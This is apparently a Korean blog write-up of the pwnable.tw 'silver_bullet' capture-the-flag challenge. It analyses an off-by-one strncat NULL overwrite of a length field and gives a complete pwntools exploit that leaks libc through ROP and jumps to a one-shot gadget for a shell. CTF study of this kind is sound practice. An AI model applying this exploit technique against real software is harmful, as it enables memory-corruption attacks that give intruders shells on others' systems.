뇌
[ Pwnable ] silver_bullet write-up 본문
[ 메모리 보호기법 ]
[ create_bullet source code ]
-
Stack Pointer
에 값을 최대0x30 bytes
만큼 입력 받음 -
입력 받은 문자열의 길이는
Stack Pointer+0x40
에 저장
[ power_up source code ]
-
create_bullet
함수로Stack Pointer
에 문자열을 입력 받았다면, -
입력받은 문자열의 길이가
0x2F
보다 크지 않으면, -
create_bullet
함수에서 받은 문자열에 이어strncat
을 통해 최대0x30 bytes
만큼 덧붙임 -
총 문자열의 길이는
Stack Pointer+0x40
에 저장
[ beat source code ]
-
HP
가 0 이하가 되면 1 을 반환 -
아니면 0 반환
-
1 을 반환했을 때
return 0;
을 수행해main
함수를 종료할 수 있음
[ 취약점 분석 ]
-
power_up
함수에 있는strncat
에서 취약점 발생 -
0x30
만큼 이어덮으면 그 다음0x31
위치가NULL
로 덮힘 →Stack Pointer+0x2F
뒤1 byte
를NULL
로 덮을 수 있음 -
그 위치는 문자열의 크기를 담는 공간의 주소인
Stack Pointer+0x30
위치임 → 문자열의 크기를NULL
로 덮을 수 있음 -
power_up
함수에서 두번째 조건 (입력받은 문자열의 길이가0x2F
보다 크지 않으면) 우회 가능 -
strncat
으로Stack Pointer
에 있는 문자열에 이어 최대0x30 bytes
만큼 추가 입력 가능
[ 공격 루틴 ]
1. create_bullet
함수로 0x2F
이하의 길이의 문자열을 입력
2. power_up
함수로 1 byte
입력 → Stack Pointer+0x30 (문자열 길이)
가 NULL
로 덮힘
3. 한번 더 power_up
함수로 페이로드를 덮음
3-1. beat
함수에서 return 1;
을 실행하기 위해 Stack Pointer+0x30
값을 0x7FFFFFFF (HP)
보다 크게 덮음
3-2. RET
위치를 맞춰 ROP
→ libc leak
!
4. EIP
를 다시 main
함수로 돌린 후 같은 방법으로 ROP
를 진행
4-1. RET
위치에 Oneshot
!
[ Exploit ]
from pwn import *
context.log_level = 'debug'
binary = './silver_bullet'
p = remote('chall.pwnable.tw', '10103')
#p = process(binary)
e = ELF(binary)
libc = ELF('./libc_32.so.6')
sa = lambda x, y : p.sendafter(x, y)
sla = lambda x, y : p.sendlineafter(x, y)
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
rvl = lambda : p.recvline()
rvu = lambda x : p.recvuntil(x)
def create(data):
sla('choice :', '1')
sa(':', data)
sleep(0.1)
def power(data):
sla('choice :', '2')
sa(':', data)
sleep(0.1)
def flag():
sla('choice :', '3')
pebp = 0x08048a7b
create('A'*0x2f)
power('A')
pay = ''
pay += p32(0xffffffff)[:-1] # stack_pointer+0x30
pay += p32(e.bss()+0x300) # sfp
pay += p32(e.plt['puts']) # ret
pay += p32(e.symbols['main'])
pay += p32(e.got['puts'])
power(pay)
flag()
# libc leak !
sleep(1)
libc_base = u32(rvu('\xf7')[-4:]) - libc.symbols['puts']
log.info('libc_base : ' + hex(libc_base))
# ----------------------------------------------------------
create('A'*0x2f)
power('A')
pay = ''
pay += p32(0xffffffff)[:-1] # stack_pointer+0x30
pay += p32(e.bss()+0x300) # sfp
pay += p32(libc_base+0x5f065) # ret, oneshot !
power(pay)
flag()
p.interactive()
'Pwnable > pwnable.tw write-up' 카테고리의 다른 글
[ Pwnable ] starbound write-up (0) | 2021.08.06 |
---|---|
[ Pwnable ] dubblesort write-up (0) | 2021.07.31 |
[ Pwnable ] 3x17 write-up (0) | 2021.07.31 |
[ Pwnable ] seethefile write-up (0) | 2021.07.31 |
[ Pwnable ] unexploitable write-up (0) | 2020.11.27 |